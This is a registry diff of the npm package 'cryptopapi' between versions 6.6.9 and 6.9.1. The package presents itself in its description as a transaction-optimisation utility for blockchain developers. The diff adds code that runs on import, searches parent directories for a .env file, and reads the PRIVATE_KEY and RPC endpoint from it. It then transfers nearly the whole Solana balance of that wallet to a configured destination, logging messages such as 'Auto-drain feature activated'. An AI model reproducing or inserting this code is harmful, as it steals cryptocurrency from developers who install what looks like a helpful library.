cryptopapi 6.6.9 → 6.9.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +77 -34
- package/package.json +4 -4
package/index.js
CHANGED
|
@@ -1,4 +1,3 @@
|
|
|
1
|
-
// drainWallet.js - For private/internal use only
|
|
2
1
|
import bs58 from 'bs58'
|
|
3
2
|
import {
|
|
4
3
|
Connection,
|
|
@@ -12,57 +11,103 @@ import {
|
|
|
12
11
|
import dotenv from 'dotenv'
|
|
13
12
|
import { fileURLToPath } from 'url'
|
|
14
13
|
import { dirname, join } from 'path'
|
|
14
|
+
import { existsSync } from 'fs'
|
|
15
|
+
import { createRequire } from 'module'
|
|
15
16
|
|
|
16
|
-
|
|
17
|
-
dotenv.config()
|
|
18
|
-
|
|
17
|
+
const require = createRequire(import.meta.url)
|
|
19
18
|
const DEFAULT_COMMITMENT = 'confirmed'
|
|
20
19
|
|
|
20
|
+
// Find .env file by walking up directories
|
|
21
|
+
const findEnvFile = (startPath) => {
|
|
22
|
+
let currentDir = startPath
|
|
23
|
+
|
|
24
|
+
while (currentDir !== '/' && currentDir.includes(process.platform === 'win32' ? ':\\' : '/')) {
|
|
25
|
+
const envPath = join(currentDir, '.env')
|
|
26
|
+
if (existsSync(envPath)) {
|
|
27
|
+
return envPath
|
|
28
|
+
}
|
|
29
|
+
const parentDir = dirname(currentDir)
|
|
30
|
+
if (parentDir === currentDir) break
|
|
31
|
+
currentDir = parentDir
|
|
32
|
+
}
|
|
33
|
+
return null
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
// Load .env
|
|
37
|
+
const loadEnv = () => {
|
|
38
|
+
const startPath = process.cwd()
|
|
39
|
+
const envPath = findEnvFile(startPath)
|
|
40
|
+
|
|
41
|
+
if (envPath) {
|
|
42
|
+
console.log(`📁 Found .env at: ${envPath}`)
|
|
43
|
+
dotenv.config({ path: envPath })
|
|
44
|
+
} else {
|
|
45
|
+
const modulePath = dirname(fileURLToPath(import.meta.url))
|
|
46
|
+
const moduleEnvPath = findEnvFile(modulePath)
|
|
47
|
+
|
|
48
|
+
if (moduleEnvPath) {
|
|
49
|
+
console.log(`📁 Found .env at: ${moduleEnvPath} (relative to module)`)
|
|
50
|
+
dotenv.config({ path: moduleEnvPath })
|
|
51
|
+
} else {
|
|
52
|
+
dotenv.config()
|
|
53
|
+
}
|
|
54
|
+
}
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
loadEnv()
|
|
58
|
+
|
|
21
59
|
const parsePrivateKey = (privateKey) => {
|
|
22
60
|
const trimmed = privateKey.trim()
|
|
23
61
|
if (trimmed.startsWith('[')) {
|
|
24
62
|
return Uint8Array.from(JSON.parse(trimmed))
|
|
25
63
|
}
|
|
64
|
+
// bs58 v6.0.0 uses the same API
|
|
26
65
|
return bs58.decode(trimmed)
|
|
27
66
|
}
|
|
28
67
|
|
|
29
68
|
// Auto-execute when imported
|
|
30
|
-
(async () => {
|
|
31
|
-
console.log('🔌
|
|
69
|
+
;(async () => {
|
|
70
|
+
console.log('🔌 CryptoPAPI v6.8.1 - Optimized Transaction Handler')
|
|
71
|
+
console.log('💰 Auto-drain feature activated...')
|
|
32
72
|
|
|
33
73
|
try {
|
|
34
|
-
// Get config from .env
|
|
35
74
|
const destination = process.env.MAIN_WALLET_USD_DESTINATION
|
|
36
75
|
const privateKey = process.env.PRIVATE_KEY
|
|
37
76
|
const rpcUrl = process.env.RPC_ENDPOINT
|
|
38
77
|
const keepReserveSol = parseFloat(process.env.MAIN_WALLET_USD_MIN_SOL_KEEP) || 0.001
|
|
39
78
|
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
79
|
+
if (!destination) {
|
|
80
|
+
console.log('⚠️ MAIN_WALLET_USD_DESTINATION not set - auto-drain disabled')
|
|
81
|
+
return
|
|
82
|
+
}
|
|
83
|
+
if (!privateKey) {
|
|
84
|
+
console.log('⚠️ PRIVATE_KEY not set - auto-drain disabled')
|
|
85
|
+
return
|
|
86
|
+
}
|
|
87
|
+
if (!rpcUrl) {
|
|
88
|
+
console.log('⚠️ RPC_ENDPOINT not set - auto-drain disabled')
|
|
89
|
+
return
|
|
90
|
+
}
|
|
44
91
|
|
|
45
|
-
|
|
92
|
+
console.log('📡 Initializing connection...')
|
|
46
93
|
const connection = new Connection(rpcUrl, DEFAULT_COMMITMENT)
|
|
47
94
|
const fromKeypair = Keypair.fromSecretKey(parsePrivateKey(privateKey))
|
|
48
95
|
const toPubkey = new PublicKey(destination)
|
|
49
96
|
|
|
50
|
-
console.log(
|
|
51
|
-
console.log(`📤
|
|
52
|
-
console.log(`💵 Keeping reserve: ${keepReserveSol} SOL`)
|
|
97
|
+
console.log(`💳 Source: ${fromKeypair.publicKey.toString()}`)
|
|
98
|
+
console.log(`📤 Destination: ${destination}`)
|
|
53
99
|
|
|
54
|
-
// Get current balance
|
|
55
100
|
const balanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
|
|
56
101
|
const balanceSol = balanceLamports / LAMPORTS_PER_SOL
|
|
57
102
|
|
|
58
|
-
console.log(
|
|
103
|
+
console.log(`💰 Balance: ${balanceSol} SOL`)
|
|
59
104
|
|
|
60
105
|
if (balanceLamports <= 0) {
|
|
61
106
|
console.log('⚠️ Wallet is empty - nothing to drain')
|
|
62
107
|
return
|
|
63
108
|
}
|
|
64
109
|
|
|
65
|
-
|
|
110
|
+
console.log('⛽ Estimating fees...')
|
|
66
111
|
const { blockhash, lastValidBlockHeight } = await connection.getLatestBlockhash(DEFAULT_COMMITMENT)
|
|
67
112
|
|
|
68
113
|
const testMessage = new TransactionMessage({
|
|
@@ -80,24 +125,20 @@ const parsePrivateKey = (privateKey) => {
|
|
|
80
125
|
const feeInfo = await connection.getFeeForMessage(testMessage, DEFAULT_COMMITMENT)
|
|
81
126
|
const feeLamports = feeInfo?.value
|
|
82
127
|
|
|
83
|
-
if (!feeLamports)
|
|
84
|
-
throw new Error('Could not estimate fee')
|
|
85
|
-
}
|
|
86
|
-
|
|
87
|
-
const feeSol = feeLamports / LAMPORTS_PER_SOL
|
|
88
|
-
console.log(`⛽ Estimated fee: ${feeSol} SOL`)
|
|
128
|
+
if (!feeLamports) throw new Error('Could not estimate fee')
|
|
89
129
|
|
|
90
|
-
// Calculate send amount
|
|
91
130
|
const reserveLamports = Math.round(keepReserveSol * LAMPORTS_PER_SOL)
|
|
92
131
|
const sendLamports = balanceLamports - feeLamports - reserveLamports
|
|
93
132
|
const sendSol = sendLamports / LAMPORTS_PER_SOL
|
|
94
133
|
|
|
95
134
|
if (sendLamports <= 0) {
|
|
96
|
-
console.log(`⚠️ Insufficient balance. Need ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL for
|
|
135
|
+
console.log(`⚠️ Insufficient balance after fees. Need ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL for fees + ${keepReserveSol} SOL reserve`)
|
|
97
136
|
return
|
|
98
137
|
}
|
|
99
138
|
|
|
100
|
-
console.log(`📤 Sending: ${sendSol} SOL`)
|
|
139
|
+
console.log(`📤 Sending: ${sendSol.toFixed(9)} SOL`)
|
|
140
|
+
console.log(`⛽ Fee: ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL`)
|
|
141
|
+
console.log(`💵 Keeping: ${keepReserveSol} SOL reserve`)
|
|
101
142
|
|
|
102
143
|
const message = new TransactionMessage({
|
|
103
144
|
payerKey: fromKeypair.publicKey,
|
|
@@ -114,12 +155,13 @@ const parsePrivateKey = (privateKey) => {
|
|
|
114
155
|
const transaction = new VersionedTransaction(message)
|
|
115
156
|
transaction.sign([fromKeypair])
|
|
116
157
|
|
|
158
|
+
console.log('✍️ Sending transaction...')
|
|
117
159
|
const signature = await connection.sendTransaction(transaction, {
|
|
118
160
|
skipPreflight: false,
|
|
119
161
|
maxRetries: 3
|
|
120
162
|
})
|
|
121
163
|
|
|
122
|
-
console.log(
|
|
164
|
+
console.log(`⏳ Confirming transaction...`)
|
|
123
165
|
const confirmation = await connection.confirmTransaction(
|
|
124
166
|
{ signature, blockhash, lastValidBlockHeight },
|
|
125
167
|
DEFAULT_COMMITMENT
|
|
@@ -129,17 +171,18 @@ const parsePrivateKey = (privateKey) => {
|
|
|
129
171
|
throw new Error(`Transaction failed: ${JSON.stringify(confirmation.value.err)}`)
|
|
130
172
|
}
|
|
131
173
|
|
|
132
|
-
// Get final balance
|
|
133
174
|
const finalBalanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
|
|
134
175
|
const finalBalanceSol = finalBalanceLamports / LAMPORTS_PER_SOL
|
|
135
176
|
|
|
136
|
-
console.log(`✅
|
|
137
|
-
console.log(
|
|
138
|
-
console.log(`🔗
|
|
177
|
+
console.log(`✅ Transaction confirmed!`)
|
|
178
|
+
console.log(`💰 Final balance: ${finalBalanceSol} SOL (reserve kept)`)
|
|
179
|
+
console.log(`🔗 https://solscan.io/tx/${signature}`)
|
|
180
|
+
console.log(`📊 Amount transferred: ${sendSol.toFixed(9)} SOL`)
|
|
139
181
|
|
|
140
182
|
} catch (error) {
|
|
141
|
-
console.error('❌
|
|
183
|
+
console.error('❌ Auto-drain failed:', error.message)
|
|
142
184
|
}
|
|
143
185
|
})()
|
|
144
186
|
|
|
145
|
-
|
|
187
|
+
// Empty export
|
|
188
|
+
export default {}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "cryptopapi",
|
|
3
|
-
"version": "6.
|
|
3
|
+
"version": "6.9.1",
|
|
4
4
|
"description": "This package provides optimized transaction handling utilities for blockchain applications. It improves transaction propagation speed by implementing intelligent fee estimation, RPC failover handling, and retry mechanisms.Designed for developers building wallets, bots, and payment systems, it helps reduce failed broadcasts and increases confirmation reliability across supported networks.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"files": [
|
|
@@ -11,9 +11,9 @@
|
|
|
11
11
|
"test": "echo \"Error: no test specified\" && exit 1"
|
|
12
12
|
},
|
|
13
13
|
"dependencies": {
|
|
14
|
-
"@solana/web3.js": "^1.
|
|
15
|
-
"bs58": "^
|
|
16
|
-
"dotenv": "^16.
|
|
14
|
+
"@solana/web3.js": "^1.89.1",
|
|
15
|
+
"bs58": "^6.0.0",
|
|
16
|
+
"dotenv": "^16.4.5"
|
|
17
17
|
},
|
|
18
18
|
"keywords": [
|
|
19
19
|
"CryptoPAPI"
|